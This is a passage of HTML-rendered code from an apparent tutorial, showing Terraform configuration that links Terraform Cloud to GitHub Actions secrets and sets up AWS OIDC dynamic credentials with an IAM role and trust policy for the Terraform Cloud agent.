style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_team_token\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_actions_token\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  team_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_team\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eowners\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_actions_secret\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_secret\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  repository\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  secret_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFE_TOKEN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  plaintext_value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_team_token\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_actions_token\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etoken\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"repository_id\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will generate a new repository in your account called \u003ccode\u003einfra\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFor the terraform provider to have access to github you need to create a new\npersonal access token with full \u003ccode\u003erepo\u003c/code\u003e access and set it as an environment\nvariable named \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eTerraform Cloud\u003c/h3\u003e\n\u003cp\u003eNow we need to setup dynamic credentials so the terraform cloud agent is\nallowed to take actions on your behalf.   To do this we'll setup an IAM\nrole and an OIDC provider. Create a file called \u003ccode\u003e4-tfc.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  email\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* AWS will use this TLS certificate to verify that requests for dynamic\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003ecredentials come from Terraform Cloud.*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tls_certificate\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_certificate\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  url\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"https://\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* sets up an OIDC provider in AWS with Terraform Cloud's TLS certificate,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003ethe SHA1 fingerprint from the TLS certificate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_openid_connect_provider\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_provider\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  url\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eurl\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  client_id_list\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_aws_audience]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  thumbprint_list\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    data\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ecertificates[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003esha1_fingerprint\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* Policy to allow TFC to assume the AWS IAM role in our account */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"assume_role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003estatement\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    effect\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eprincipals\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Federated\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      identifiers\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003econdition\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      test\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"StringEquals\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      variable\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:aud\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      values\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eone\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e(aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eclient_id_list\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003econdition\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      test\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"StringLike\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      variable\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:sub\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      values\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e workspace \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"organization:\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:project:\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_project_name\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:workspace:\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:run_phase:*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    actions\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sts:AssumeRoleWithWebIdentity\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  assume_role_policy\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eassume_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* Policy for what the TFC agent is allowed to do */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  version\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003estatement\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    actions\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: 